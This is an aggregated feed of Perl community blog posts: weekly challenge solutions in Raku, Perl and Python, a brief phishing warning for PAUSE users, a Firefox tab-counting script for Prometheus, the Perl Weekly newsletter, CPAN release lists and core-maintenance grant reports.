Perl Weekly Challenge 265: 33% Appearance

blogs.perl.org

Published by laurent_r on Thursday 18 April 2024 14:45

These are some answers to the Week 265, Task 1, of the Perl Weekly Challenge organized by Mohammad S. Anwar.

Spoiler Alert: This weekly challenge deadline is due in a few days from now (on April 21, 2024 at 23:59). This blog post provides some solutions to this challenge. Please don’t read on if you intend to complete the challenge on your own.

Task 1: 33% Appearance

You are given an array of integers, @ints.

Write a script to find an integer in the given array that appeared 33% or more. If more than one found, return the smallest. If none found then return undef.

Example 1

Input: @ints = (1,2,3,3,3,3,4,2)
Output: 3

1 appeared 1 times.
2 appeared 2 times.
3 appeared 4 times.

3 appeared 50% (>33%) in the given array.

Example 2

Input: @ints = (1,1)
Output: 1

1 appeared 2 times.

1 appeared 100% (>33%) in the given array.

Example 3

Input: @ints = (1,2,3)
Output: 1

1 appeared 1 times.
2 appeared 1 times.
3 appeared 1 times.

Since all three appeared 33.3% (>33%) in the given array.
We pick the smallest of all.

33% Appearance in Raku

We coerce the input array into a Bag, which is a collection of distinct elements that each have an integer weight assigned to them, signifying how many copies of that element are considered "in the bag". The good thing about it is that we obtain directly a histogram of the values in the input array. Note that we return Nil rather than undef when no solution because this is more in line with what Raku does in such cases.

sub thirty-three-pct (@in) {
    my $count = @in.elems;
    return Nil if $count == 0;
    my $limit = $count * .33;
    my $histo = @in.Bag;
    my @eligibles = grep { $histo{$_} > $limit }, $histo.keys;
    return @eligibles ?? @eligibles.min !! Nil;
}

my @tests = <1 2 3 3 3 3 4 2>, <1 2>, <1 2 3>, 
            <1 2 1 2 1 2 1 2>, <1 2 3 4 1 2 3 4>;
for @tests -> @test {
    printf "%-18s => ", "@test[]";
    say thirty-three-pct @test;
}

This program displays the following output:

$ raku ./33-pct.raku
1 2 3 3 3 3 4 2    => 3
1 2                => 1
1 2 3              => 1
1 2 1 2 1 2 1 2    => 1
1 2 3 4 1 2 3 4    => Nil

33% Appearance in Perl

This is a port to Perl of the above Raku program. We use a hash instead of a Bag to store the histogram of the input values.

use strict;
use warnings;
use feature 'say';

sub thirty_three_pct {
    my $count = scalar @_;
    return "Undef" if $count == 0;
    my $limit = $count * .33;
    my %histo;
    $histo{$_}++ for @_;
    my @eligibles = sort {$a <=> $b} 
                    grep { $histo{$_} > $limit } keys %histo;
    return @eligibles ? $eligibles[0] : "Undef";
}

my @tests = ([<1 2 3 3 3 3 4 2>], [<1 2>], [<1 2 3>],
             [<1 2 1 2 1 2 1 2>], [<1 2 3 4 1 2 3 4>]);
for my $test (@tests) {
    printf "%-18s => ", "@$test";
    say thirty_three_pct @$test;
}

This program displays the following output:

$ perl ./33-pct.pl
1 2 3 3 3 3 4 2    => 3
1 2                => 1
1 2 3              => 1
1 2 1 2 1 2 1 2    => 1
1 2 3 4 1 2 3 4    => Undef

Wrapping up

The next week Perl Weekly Challenge will start soon. If you want to participate in this challenge, please check https://perlweeklychallenge.org/ and make sure you answer the challenge before 23:59 BST (British summer time) on April 28, 2024. And, please, also spread the word about the Perl Weekly Challenge if you can.

Phishing Attempt on PAUSE Users

blogs.perl.org

Published by Mark Lawrence on Wednesday 17 April 2024 14:06

I just received an E-Mail purporting to be from the PAUSE Team, claiming a compromise of a server. It was written with some thought, referencing the account name of someone well known and trusted in our community. On closer inspection however, it was merely an attempt to phish PAUSE usernames and passwords via a supposed alternative login server.

I'm sure many of us are old enough and experienced enough to detect and ignore this type of attack. But in case you aren't (welcome!) or if you are feeling a bit out of practice, then please remember to only log in via the official PAUSE entry point.

The Perl and Raku Conference: Call for Speakers Renewed

Perl Foundation News

Published by Todd Rinaldo on Tuesday 16 April 2024 17:17


The Perl and Raku Conference is fast approaching! We will be in Las Vegas from June 24 to 28 (the main conference is from June 25 to 27).

We want more speakers, so we are reopening the full call for talks/papers/posters. The new deadline is April 20, midnight Las Vegas time (April 21 00:00 UTC). Now that the national eclipse is not a distraction, please consider submitting a talk (50 minute, or 20 minute) or a scientific paper or poster before the new deadline! Speakers will be informed of talk acceptance by April 30.

Talks of 20 minutes or 50 minutes, papers, and posters earn the presenter free admission. Giving a Lightning Talk does not reduce the admission fee but earns our appreciation and delight!

Whether speaker or attendee, we look forward to seeing you in Las Vegas!

I can still count browser tabs

rjbs forgot what he was saying

Published by Ricardo Signes on Monday 15 April 2024 20:24

A couple years ago, I posted about making a Prometheus exporter for my Chrome tab count. I had fun doing it, but unfortunately it made it onto Hacker News, which as always got a fair bit of missing-the-point. So it goes.

Yesterday, for a mixture of principled reasons and procrastinatory ones, I switched from Chrome to Firefox. Mostly this was easy. I upgraded Firefox, installed some extensions, ported over my open tabs, and that was about it. But I still wanted my tab graph, which surprisingly I have kept using. Firefox is AppleScriptable, but its tiny set of classes doesn’t include anything useful for tab counting. I resorted to parsing the session state file.

This is a trick others have done, but now I have done it too.

use v5.36.0;

use Compress::LZ4;
use JSON::MaybeXS;
use Path::Tiny;

# I should not really hardcode the profile path.  But I don't want to look at
# them all, because it seems sometimes ancient ones linger.  I'll sort it out
# if this ever breaks. -- rjbs, 2024-04-14
my $profiles_root = path('/Users/rjbs/Library/Application Support/Firefox/Profiles');
my $backups_dir   = $profiles_root->child('xyzzy.default/sessionstore-backups');
my $backup_file   = $backups_dir->child('recovery.jsonlz4');

# This is some nonsense container data.  I learned this trick from this blog
# post's code: https://alexandre.deverteuil.net/post/firefox-tabs-analysis/
my $bytes = $backup_file->slurp;
substr $bytes, 0, 8, '';

my $json  = decompress($bytes);
my $data  = decode_json($json);

my $tab_count = 0;
my $window_count = 0;

for my $window ($data->{windows}->@*) {
  $window_count++;
  for my $tab ($window->{tabs}->@*) {
    # I don't use this, but just in case, now I have it.  Each tab's
    # "entries" is history entries for the tab, and the last one is the
    # currently active tab data.
    my $live = $tab->{entries}[-1]; # $live->{url} # <-- real url
    $tab_count++;
  }
}

say "firefox_open_windows $window_count";
say "firefox_open_tabs $tab_count";

This program just spits out two lines of Prometheus-formatted data. Right now, it’s this:

firefox_open_windows 10
firefox_open_tabs 47

I could put this in a little web server running on my laptop, but I’ve mostly avoided setting up any always-running daemons on my Mac. I don’t know why, it just feels like one more hassle. So, instead, I weirdly embedded this in my Hammerspoon init:

ffMetrics = ""

function ffMakeMetricsTask ()
  return hs.task.new(
    "/Users/rjbs/code/hub/rjbs-misc/firefox-prometheus-metrics",
    function (exitCode, stdOut, stdErr)
      ffMetrics = stdOut
    end
  )
end

ffMetricsTimer = hs.timer.doEvery(60, function ()
  if not (ffMetricsTask and ffMetricsTask:isRunning()) then
    ffMetricsTask = ffMakeMetricsTask():start()
  end
end)

Then, in my existing metrics HTTP server run in Hammerspoon, I concatenate ffMetrics into the result.

I am pleased with this solution. It is stupid and works, which I often find a very satisfying combination.

Perl Weekly #664 - German Perl Workshop

dev.to #perl

Published by Gabor Szabo on Monday 15 April 2024 06:52

Originally published at Perl Weekly 664

Hi there,

Today is the Day 1 of the German Perl Workshop 2024. It is going to be very busy week for those attending the annual event. As per the schedule, Curtis Poe is giving talk on AI—This Talk is Always Out of Date. I am pretty sure, it is going to be very popular among the attendees. Most of the talks are going to be in German as expected. English speaking attendees shouldn't worry as there would be some talks in English too. The team behind the GPW is so friendly and welcoming that you would never get bored throughout the day. It feels great to see how they have managed to organise the event every year. There was a time when London Perl Workshop used to be so popular that attracted attendees from as far as Japan just for one day event. Lee Johnson has been pushing hard to make it happen this year. Please show your interest in good numbers if you are LPW fans. Finding Sponsor is the biggest hurdle, if I am not mistaken. I just hope we don't miss the opportunity this year.

Recently I got the shocking news about my friend, Dave Hodgkinson. There was a Facebook post sharing the news that Dave passed away last December. I have had the honour to meet him at every LPW event. He would never miss the opportunity to catch up his friends. He was also regular to the London Perl Mongers meetup. In the last few years when the event didn't happen, he was actively engaging with friends on Facebook. I used to chat with him on Facebook messenger regularly. I still have his message wishing me good luck when I joined Oleeo. This news really shocked me. Last December was so depressing time for me, as I lost my Mom on Boxing day. This is a small tribute to my buddy, Dave. May his soul rest in peace.

Please take extra care of your health and your loved ones.

--
Your editor: Mohammad Sajid Anwar.

Announcements

2024 TPRC Submission Date Extended thru April 20th

The deadline for talk and paper submissions to the 2024 TPRC has been officially extended through April 20th for both the regular Perl and Raku tracks; and also the Science Track.

Articles

This week in PSC (144) | 2024-04-11

Perl Steering Council shared the details of last meetup. Good to see, we are making good progress.

Grants

PEVANS Core Perl 5: Grant Report for March 2024

Paul shared the work done as part of Grant for March 2024. Thank you for your contributions.

Maintaining Perl 5 Core (Dave Mitchell): March 2024

Dave completed tasks to help get blead into shape for the 5.40 release, such as analysing and reducing smoke failures, and fixing bugs.

Maintaining Perl (Tony Cook) January 2024

A thorough detailed breakdown of work carried out by Dave. The list is impressive, thanks for sharing.

The Weekly Challenge

The Weekly Challenge by Mohammad Sajid Anwar will help you step out of your comfort-zone. We pick one champion at the end of the month from among all of the contributors during the month.

The Weekly Challenge - 265

Welcome to a new week with a couple of fun tasks: "33% Appearance" and "Completing Word". If you are new to the weekly challenge, why not join us and have fun every week? For more information, please read the FAQ.

RECAP - The Weekly Challenge - 264

Enjoy a quick recap of last week's contributions by Team PWC dealing with the "Greatest English Letter" and "Target Array" tasks in Perl and Raku. You will find plenty of solutions to keep you busy.

TWC264

Use of CPAN modules can help get you sleek solutions. Well done and thanks for sharing.

Greatest Target

Detailed analysis with complete documentation enough to keep you engaged. Keep it up great work.

Everything Under The Sun Is In Tune

Simple and straight forward logic to deal with the task. You will fall in love with Perl.

Perl Weekly Challenge: Week 264

Classic use of Raku power gives us cool one-liner full of magic. You must checkout.

The Greatest Target

Smoke Test? If you fancy then this is for you. Highly recommended.

Perl Weekly Challenge 264: Greatest English Letter

How much magic do you expect in one solution? Well checkout this week Raku solution and you will be surprised. Thanks for sharing.

Perl Weekly Challenge 264: Target Array

Splice of Perl and Raku are so identical that we have near identical solution. Well done.

array indexes mess

You will find the Raku one-liner very engaging as always. Keep it up great work.

Perl Weekly Challenge 264

Master of Perl one-liner is sharing the trick once again. Well done and thanks for sharing.

The Greatest, the Greatest

Classic demo of Perl power, very impressive. Highly recommend.

I’m The Greatest Target!

We all know the maz() but how many of you know about maxstr()? Keep it up great work.

Greatest letter and mashed arrays

Breaking task into smaller steps make the job so easy. Live demo is the highlight for me as always.

The Weekly Challenge - 264

Thanks for sharing the special use of subsdtr(). You don't see this very often. Keep sharing.

The Weekly Challenge #264

Clever use of Perl regex. I am sure you will take a closer look once again.

Greatest English Array

Rust is the talk of thw town. Thanks for sharing the knowledge with us.

The greatest array

As per the tradition, Python solution is discussed in the blog post. You would agree with me, it looks cute.

Rakudo

2024.14/15 1K+ / 75%+

Weekly collections

NICEPERL's lists

Great CPAN modules released last week;
StackOverflow Perl report.

You joined the Perl Weekly to get weekly e-mails about the Perl programming language and related topics.

Want to see more? See the archives of all the issues.

Not yet subscribed to the newsletter? Join us free of charge!

(C) Copyright Gabor Szabo
The articles are copyright the respective authors.

The greatest array

dev.to #perl

Published by Simon Green on Sunday 14 April 2024 12:54

Weekly Challenge 264

Each week Mohammad S. Anwar sends out The Weekly Challenge, a chance for all of us to come up with solutions to two weekly tasks. My solutions are written in Python first, and then converted to Perl. It's a great way for us all to practice some coding.

Challenge, My solutions

Task 1: Greatest English Letter

Task

You are given a string, $str, made up of only alphabetic characters [a..zA..Z].

Write a script to return the greatest English letter in the given string.

A letter is greatest if it occurs as lower and upper case. Also letter b is greater than a if b appears after a in the English alphabet.

My solution

For this challenge, I work backwards from z to a and return the first letter that appears in both cases. If str was going to be very long, it would be faster to convert this to a set (hash in Perl) for faster lookup. However this is definitely not needed for a small string.

def greatest_letter(s: str) -> str | None:
    for letter in string.ascii_uppercase[::-1]:
        if letter in s and letter.lower() in s:
            return letter

    return None

Examples

 ./ch-1.py PeRlwEeKLy
L

$ ./ch-1.py ChaLlenge
L

$ ./ch-1.py The
''

Task 2: Target Array

Task

You are given two arrays of integers, @source and @indices. The @indices can only contains integers 0 <= i < size of @source.

Write a script to create target array by insert at index $indices[i] the value $source[i].

My solution

One thing the challenge does not specify is what happens if the value of indices is outside the current length of the of the solution. Python's insert and Perl's splice will append the value to the end of the array (without padding), so I'm following that for this task. It would be trivial to raise an exception if that was the desired behavior.

With that in mind, the task is pretty straight forward. I create an empty list (array in Perl) called solution. I then iterate through the two lists, adding the value in the source list at the position in the indices list.

def target_array(source: list, indices: list) -> list:
    solution = []
    for i in range(len(source)):
        solution.insert(indices[i], source[i])

    return solution

Examples

$ ./ch-2.py "(0, 1, 2, 3, 4)" "(0, 1, 2, 2, 1)"
(0, 4, 1, 3, 2)

$ ./ch-2.py "(1, 2, 3, 4, 0)" "(0, 1, 2, 3, 0)"
(0, 1, 2, 3, 4)

$ ./ch-2.py "(1)" "(0)"
(1)

(cdxci) 4 great CPAN modules released last week

Niceperl

Published by Unknown on Sunday 14 April 2024 10:03

Updates for great CPAN modules released last week. A module is considered great if its favorites count is greater or equal than 12.

  1. App::Netdisco - An open source web-based network management tool.
    • Version: 2.075003 on 2024-04-12, with 16 votes
    • Previous CPAN version: 2.074001 was 24 days before
    • Author: OLIVER
  2. CPAN::Audit - Audit CPAN distributions for known vulnerabilities
    • Version: 20240410.001 on 2024-04-10, with 13 votes
    • Previous CPAN version: 20240401.002 was 9 days before
    • Author: BDFOY
  3. SPVM - SPVM Language
    • Version: 0.989101 on 2024-04-13, with 31 votes
    • Previous CPAN version: 0.989098 was 9 days before
    • Author: KIMOTO
  4. Sys::Virt - libvirt Perl API
    • Version: v10.2.0 on 2024-04-08, with 17 votes
    • Previous CPAN version: v10.1.0 was 1 month, 7 days before
    • Author: DANBERR

(dcviii) stackoverflow perl report

Niceperl

Published by Unknown on Sunday 14 April 2024 09:56

List of new CPAN distributions – Mar 2024

Perlancar

Published by perlancar on Sunday 14 April 2024 00:11

dist author abstract date
AI-Chat BOD Interact with AI Chat APIs 2024-03-02T22:12:10
AI-Image BOD Generate images using OpenAI's DALL-E 2024-03-06T23:01:10
Acme-CPANModules-LoadingModules PERLANCAR List of modules to load other Perl modules 2024-03-01T00:06:07
Acme-CPANModules-LoremIpsum PERLANCAR List of modules related to "Lorem Ipsum", or lipsum, placeholder Latin text 2024-03-02T00:05:10
Acme-CPANModules-OpeningFileInApp PERLANCAR List of modules to open a file with appropriate application 2024-03-04T00:05:56
Acme-CPANModules-RandomText PERLANCAR List of modules for generating random (placeholder) text 2024-03-05T00:05:27
Acme-TaintTest SIDNEY module for checking taint peculiarities on some CPAN testers 2024-03-25T09:22:24
Alien-Pipx CHRISARG Provides the pipx Python Package Manager 2024-03-09T13:19:11
Alien-Qhull DJERIUS Build and Install the Qhull library 2024-03-06T18:15:57
Alien-SeqAlignment-MMseqs2 CHRISARG find, build and install the mmseqs2 tools 2024-03-24T03:33:13
Alien-SeqAlignment-bowtie2 CHRISARG find, build and install the bowtie2 tools 2024-03-19T12:31:34
Alien-SeqAlignment-cutadapt CHRISARG Provide the cutadapt utility for eliminating polyA tails through pipx 2024-03-09T04:49:02
Alien-SeqAlignment-hmmer3 CHRISARG find, build and install the hmmer3 tools 2024-03-22T03:29:12
Alien-SeqAlignment-last CHRISARG find, build and install the last tools 2024-03-16T21:16:36
Alien-SeqAlignment-minimap2 CHRISARG A Perl wrapper for the minimap2 binary executables 2024-03-23T00:58:56
Alien-pipx CHRISARG Provides the pipx Python Package Manager 2024-03-08T20:39:35
Amazon-Sites DAVECROSS A class to represent Amazon sites 2024-03-20T16:18:39
App-BPOMUtils-RPO-Ingredients PERLANCAR Group ingredients suitable for food label 2024-03-10T00:05:30
App-CSVUtils-csv_mix_formulas PERLANCAR Mix several formulas/recipes (lists of ingredients and their weights/volumes) into one, and output the combined formula 2024-03-03T00:06:02
App-ComparerUtils PERLANCAR CLIs related to Comparer 2024-03-06T00:05:48
App-DWG-Sort SKIM Tool to sort DWG files by version. 2024-03-06T10:03:07
App-SortExampleUtils PERLANCAR CLIs related to SortExample 2024-03-07T00:05:25
App-SortKeyUtils PERLANCAR CLIs related to SortKey 2024-03-08T00:05:47
App-SortSpecUtils PERLANCAR CLIs related to SortSpec 2024-03-09T00:05:07
App-SorterUtils PERLANCAR CLIs related to Sorter 2024-03-11T00:05:26
App-SpreadsheetOpenUtils PERLANCAR Utilities related to Spreadsheet::Open 2024-03-12T00:05:23
App-cat-v UTASHIRO cat-v command implementation 2024-03-31T10:58:40
App-chartimes TULAMILI 2024-03-15T01:18:20
App-colcount TULAMILI 各行について、カラムの数を数えたり、条件を満たすカラムの数を数えたりする。 2024-03-15T10:32:37
App-ctransition TULAMILI 入力の全ての文字に対して、次の文字は何であるかの回数の集計を、行列状に表示する。 2024-03-15T12:58:49
App-samelines TULAMILI 2024-03-14T07:49:49
Bencher-Scenario-ListFlattenModules PERLANCAR Benchmark various List::Flatten implementaitons 2024-03-13T00:05:28
Bencher-Scenarios-Text-Table-Sprintf PERLANCAR Scenarios for benchmarking Text::Table::Sprintf 2024-03-14T00:05:21
Bio-SeqAlignment CHRISARG Aligning (and pseudo aligning) biological sequences 2024-03-24T01:05:16
Business-Tax-US-Form_1040-Worksheets JKEENAN IRS Form 1040 worksheets calculations 2024-03-20T19:16:50
CXC-Data-Visitor DJERIUS Invoke a callback on every element at every level of a data structure. 2024-03-23T17:04:24
Carp-Patch-ExcludePackage PERLANCAR Exclude some packages from stack trace 2024-03-15T00:06:01
Comparer-from_sortkey PERLANCAR Compare keys generated by a SortKey:: module 2024-03-16T00:05:16
Compression-Util TRIZEN Implementation of various techniques used in data compression. 2024-03-21T01:02:57
Data-Dump-HTML-Collapsible PERLANCAR Dump Perl data structures as HTML document with collapsible sections 2024-03-08T08:22:33
Data-Dump-HTML-PopUp PERLANCAR Dump Perl data structures as HTML document with nested pop ups 2024-03-18T13:24:01
Data-Dump-IfSmall PERLANCAR Like Data::Dump but reference with dump larger than a certain size will be dumped as something like 'LARGE:ARRAY(0x5636145ea5e8)' 2024-03-18T00:06:06
Data-Dump-SkipObjects PERLANCAR Like Data::Dump but objects of some patterns are dumped tersely 2024-03-19T00:05:05
Data-Navigation-Item SKIM Data object for navigation item. 2024-03-04T11:53:10
Date-Holidays-Adapter-USA GENE Adapter for USA holidays 2024-03-19T20:38:52
Date-Holidays-USA GENE Provides United States of America holidays 2024-03-19T20:09:45
Devel-Confess-Patch-UseDataDumpIfSmall PERLANCAR Use Data::Dump::IfSmall format refs 2024-03-20T00:05:59
Devel-Confess-Patch-UseDataDumpSkipObjects PERLANCAR Use Data::Dump::SkipObjects to stringify some objects 2024-03-21T00:06:11
Dist-Zilla-Plugin-Sah-SchemaBundle PERLANCAR Plugin to use when building Sah-SchemaBundle-* distribution 2024-03-22T00:05:48
Dist-Zilla-Role-GetDistFileURL PERLANCAR Get URL to a file inside a Perl distribution 2024-03-23T00:05:56
GCC-Builtins BLIAKO access GCC compiler builtin functions via XS 2024-03-19T13:31:21
ImgurAPI DILLANBH Imgur API client 2024-03-20T03:11:21
ImgurAPI-Client DILLANBH 2024-03-20T03:31:39
Intellexer-API HAX Perl API client for the Intellexer, a webservice that, "enables developers to embed Intellexer semantics products using XML or JSON." 2024-03-04T02:34:33
LaTeX-Easy-Templates BLIAKO Easily format content into PDF/PS/DVI with LaTeX templates. 2024-03-15T21:43:58
Markdown-Perl MATHIAS Very configurable Markdown processor written in pure Perl, supporting the CommonMark spec and many extensions 2024-03-31T21:17:51
Module-Features-PluginSystem PERLANCAR Features of modules that generate text tables 2024-03-25T00:05:33
Module-Pluggable-_ModuleFeatures PERLANCAR Features declaration for Module::Pluggable 2024-03-26T00:05:20
Net-MailChimp ARTHAS Perl library with MINIMAL interface to use MailChimp API. 2024-03-14T13:52:35
Net-OpenVPN-Manager ATOY Start OpenVPN Manager and return PSGI handler 2024-03-08T18:07:11
Net-PaccoFacile ARTHAS Perl library with MINIMAL interface to use PaccoFacile API. 2024-03-01T16:16:12
OpenAPI-PerlGenerator CORION create Perl client SDKs from OpenAPI specs 2024-03-24T11:02:37
Plack-App-CPAN-Changes SKIM Plack application for CPAN::Changes object. 2024-03-14T18:23:48
Plack-Middleware-Static-Precompressed ARISTOTLE serve a tree of static pre-compressed files 2024-03-14T11:30:12
Plugin-System-_ModuleFeatures PERLANCAR Features declaration for Plugin::System 2024-03-27T00:05:42
Qhull DJERIUS a really awesome library 2024-03-05T20:37:59
Regexp-IntInequality HAUKEX generate regular expressions to match integers greater than / less than / etc. a value 2024-03-08T17:59:24
Sah-SchemaBundle PERLANCAR Convention for Sah-SchemaBundle-* distribution 2024-03-28T00:05:49
Sah-SchemaBundle-Array PERLANCAR Sah schemas related to array type 2024-03-29T00:05:36
Sah-SchemaBundle-ArrayData PERLANCAR Sah schemas related to ArrayData 2024-03-30T00:05:33
Sah-SchemaBundle-Binary PERLANCAR Sah schemas related to binary data 2024-03-17T00:05:16
Sah-SchemaBundle-Bool PERLANCAR Sah schemas related to bool data type 2024-03-24T00:05:52
Sah-SchemaBundle-BorderStyle PERLANCAR Sah schemas related to BorderStyle 2024-03-31T00:05:05
Tags-HTML-CPAN-Changes SKIM Tags helper for CPAN::Changes object. 2024-03-14T09:55:49
Template-Plugin-Package PETDANCE allow calling of class methods on arbitrary classes that do not accept the class name as their first argument. 2024-03-12T04:32:11
Tk-FileBrowser HANJE Multi column file system explorer 2024-03-29T21:22:08
WWW-Gemini ANTONOV 2024-03-11T02:51:49
lib-root HERNAN find perl root and push lib modules path to @INC 2024-03-30T17:27:02

Stats

Number of new CPAN distributions this period: 78

Number of authors releasing new CPAN distributions this period: 25

Authors by number of new CPAN distributions this period:

No Author Distributions
1 PERLANCAR 33
2 CHRISARG 9
3 SKIM 4
4 TULAMILI 4
5 DJERIUS 3
6 BOD 2
7 ARTHAS 2
8 GENE 2
9 BLIAKO 2
10 DILLANBH 2
11 HERNAN 1
12 UTASHIRO 1
13 DAVECROSS 1
14 TRIZEN 1
15 ARISTOTLE 1
16 HAX 1
17 HANJE 1
18 JKEENAN 1
19 HAUKEX 1
20 MATHIAS 1
21 CORION 1
22 ATOY 1
23 PETDANCE 1
24 ANTONOV 1
25 SIDNEY 1

2024 TPRC Submission Date Extended thru April 20th

blogs.perl.org

Published by Brett Estrade on Thursday 11 April 2024 22:00

The deadline for talk and paper submissions to the 2024 TPRC has been Officially extended through April 20th for both the regular Perl and Raku tracks; and also the Science Track.

Update for the Science Track submissions, we have a small, but solid set of submissions and are expecting a few more. The Science Perl Committee is committed to helping anyone submitting a serious entry to succeed. If you're hesitating at all because you're afraid of getting rejected, please be reassured we want as many people to be part of this inaugural Science Track, as possible.

Please note, acceptable topics DO include white papers discussing implementation details of the Perl or Raku interpreters, experimental language features, implementations, benchmarks, etc.

I personally and strongly encourage you to submit an abstract to the Science Track. And if you don't want to write a paper, I strongly encourage you to submit a regular conference talk.

Brett Estrade (OODLER)

Exploring Programming Languages — Perl

Perl on Medium

Published by Blag aka Alvaro Tejada Galindo on Thursday 11 April 2024 17:59

Let’s continue our exploration of programming languages, with another well know language although not always loved, Perl.

Maintaining Perl 5 Core (Dave Mitchell): March 2024

Perl Foundation News

Published by alh on Tuesday 09 April 2024 13:03


Dave writes:

This is my monthly report on work done during March 2024 covered by my TPF perl core maintenance grant.

Less hours than normal last month due to a combination of jury service and the consequences of spending lots of time with my fellow jurors.

I spent my time mainly on general small tasks to help get blead into shape for the 5.40 release, such as analysing and reducing smoke failures, and fixing bugs.

SUMMARY: * 1:39 "Variable is not available" warning on nested evals * 3:44 #21784 BBC: Blead breaks MLEHMANN/Coro-6.57.tar.gz * 4:15 make stack reference counted - XS * 2:22 process p5p mailbox * 1:38 reduce smoke failures * 1:38 review Coverity reports * 7:42 rework XS documentation

TOTAL: * 22:58 (HH::MM)

PEVANS Core Perl 5: Grant Report for March 2024

Perl Foundation News

Published by alh on Tuesday 09 April 2024 07:47


Paul writes:

``` Hours:

2 = builtin::is_inf + is_nan (as yet unfinished) https://github.com/Perl/perl5/pull/22059

1 = Tidying up PADNAMEf_TOMBSTONE https://github.com/Perl/perl5/pull/22063

1 = Revert PR 21915 https://github.com/Perl/perl5/pull/22085

2 = C99 named initialisers in MGVTBL structs https://github.com/Perl/perl5/pull/22086

4 = perl 5.39.9 release https://metacpan.org/release/PEVANS/perl-5.39.9

Total: 10 hours ```

Maintaining Perl (Tony Cook) January 2024

Perl Foundation News

Published by alh on Tuesday 09 April 2024 07:43


Tony writes:

``` [Hours] [Activity] 2024/01/02 Tuesday 0.18 #21759 review and approve 0.17 #21705 review and approve 0.08 #21736 review and approve 0.33 #21757 review and approve 0.22 #21749 review and approve 0.08 #21778 review and approve 1.43 #21745 review in progress

0.67 #21745 more review and approve, comment

3.16

2024/01/03 Wednesday 0.10 #21761 review and approve 0.32 extract RC_STACK pp_backtick from an experiment, push for CI 0.15 #21734 review and approve 0.08 #21739 review and conditionally approve 0.70 #21740 review and comment 0.10 check CI results and make PR 21789 0.05 #21754 review and comment 0.32 #21764 review, research and approve 0.13 #21767 review and approve 0.18 #21769 review, research and comment 0.20 #21770 review, comment and approve 0.15 #21789 follow-up comment 0.10 #21772 review and approve 0.20 #21773 review 0.33 #21773 more review and approve 0.18 #21771 review and approve 0.08 #21776 review and approve 0.10 #21777 review and approve 0.08 #21786 review and approve

0.23 #21790 review and approve

3.78

2024/01/04 Thursday 0.25 github notifications 0.95 list, native data checks, comment on the linked spec 0.30 #21754 review update and approve 0.08 #21792 review and approve 0.08 #21793 review and approve 0.07 #21794 review and approve 1.47 #21791 review, testing, comments, approve 0.18 #21737 re-check and apply to blead

0.42 #16608 debugging

3.80

2024/01/08 Monday 0.18 github notifications 0.08 #21798 review and approve 0.93 #21796 start review, comment

2.70 #21796 follow-up, more review

3.89

2024/01/09 Tuesday

0.50 #21796 issue fixed, re-check force pushed commits, approve

0.50

2024/01/10 Wednesday 0.08 #21808 review and approve 0.47 #21801 review and comment 0.08 #21810 review and approve 0.38 #21805 review discussion and request some info 2.32 #21782 research, comment on CPAN ticket, work on a fix and push for CI 0.10 #21782 check CI results, make PR 21813 1.25 #21751 research, reproduce on modern darwin, test fix on modern darwin and push for CI

0.47 #21724 research, testing

5.15

2024/01/11 Thursday 0.52 #21813 apply to blead, perldelta 1.77 review Dave’s XS post to ML, research and comment 0.08 #21751 review CI results and make PR 21818 0.08 #21801 review updates and approve 0.07 #21803 review discussion and ask for some info 0.15 #21815 review and approve 0.33 #21814 review, research and comment 0.25 #15108 work up a small doc update and push for CI

0.32 #21814 review updates, research and approve

3.57

2024/01/15 Monday 1.38 #21821 investigate why bad link didn’t result in an error, find many similar errors, testing on perldoc.perl.org and metacpan, fixes, testing and push 0.70 #21820 review and approve 2.65 warnings on win32 gcc builds, testing, research (-Wformat is broken), push for CI

0.18 #21832 review and comment

4.91

2024/01/16 Tuesday 0.63 review coverity scan results, discuss one with khw, comment on original pull request for the other 0.80 #21832 review changes, research and approve 0.08 #21837 review and approve 0.75 #21833 review, research and comment 0.25 #21834 review and approve 0.43 #21840 review and approve 0.48 #21824 review code and discussion

0.30 warnings on win32 gcc builds: open pR 21842

3.72

2024/01/17 Wednesday 0.08 #21842 apply to blead 0.33 #21833 review modifications, research, comment and approve 0.43 #21843 review and approve 0.08 #21844 review and approve 1.08 #21091 research based on latest comment and follow-up comment 0.62 #21550 research

0.58 #21550 more research

3.20

2024/01/18 Thursday 0.35 #21833 research and comment 0.97 look over use VERSION -> builtin thread, review #21850 and approve 0.08 #21845 review and approve 0.42 #21846 review, research and approve 0.38 #21847 review, consider other comments, comment and approve 0.15 #21848 review 0.48 #21550 static build detection and testing

0.95 #21550 reading code

3.78

2024/01/22 Monday 0.43 #21833 review updates and approve 0.08 #21853 review and approve 0.13 #21855 review and approve with comment 0.22 #21856 review and approve 0.08 #21857 review and approve 0.13 #21858 review and approve 0.12 #21859 review and approve 0.12 #21862 review and approve

0.08 #21863 review and approve

1.39

2024/01/23 Tuesday 0.90 #21850 review updates and comment 0.13 #21868 review and approve 0.08 #21869 briefly review and approve 0.30 #21871 review, briefly research and comment, brief discussion, research on #21850 in #p5p

0.92 #21872 review

2.33

2024/01/25 Thursday 1.18 #21872 more review, testing, comment 0.35 #21850 review changes and approve 0.72 #21877 try to reproduce and profile (build issues with - pg)

2.15 #21877 testing, review code, comment

4.40

2024/01/29 Monday 0.30 github notifications 0.63 #21872 consider builtin implementation vs RC_STACK, find why it works 0.53 #21874 review and comment 0.15 #21844 review and comment 1.25 #21885 review, research, testing and comment 0.07 #21866 review and approve 0.40 #21887 review, research and comment 0.08 #21891 review and approve

2.23 #21877 profiling, review code, comment

5.64

2024/01/30 Tuesday 0.50 review coverity scan results, work up a fix and push for CI 1.43 #21877 long comment 0.57 #21884 comment 0.13 coverity scan result follow-up: check CI, open PR #21910 1.55 #16607 also look into handling hwm for xsubs properly,

find several broken XS, (including EU::PXS generated code)

4.18

2024/01/31 Wednesday 0.13 #21884 review updates and approve 0.15 #21883 review and approve 0.45 #21873 testing, research and comment 0.32 #21878 research and comment 0.17 #21906 review and apply to blead 0.62 #16607 research, follow-up on related comment on #21872

0.45 #21897 review, research and comment

2.29

Which I calculate is 59.69 hours.

Approximately 88 tickets were reviewed or worked on, and 4 patches were applied. ```

Collecting talks

Perl Hacks

Published by Dave Cross on Sunday 07 April 2024 17:29

I gave my first public talk sometime between the 22nd and 24th September 2000. It was at the first YAPC::Europe which was held in London between those dates. I can’t be any more precise because the schedule is no longer online and memory fades.

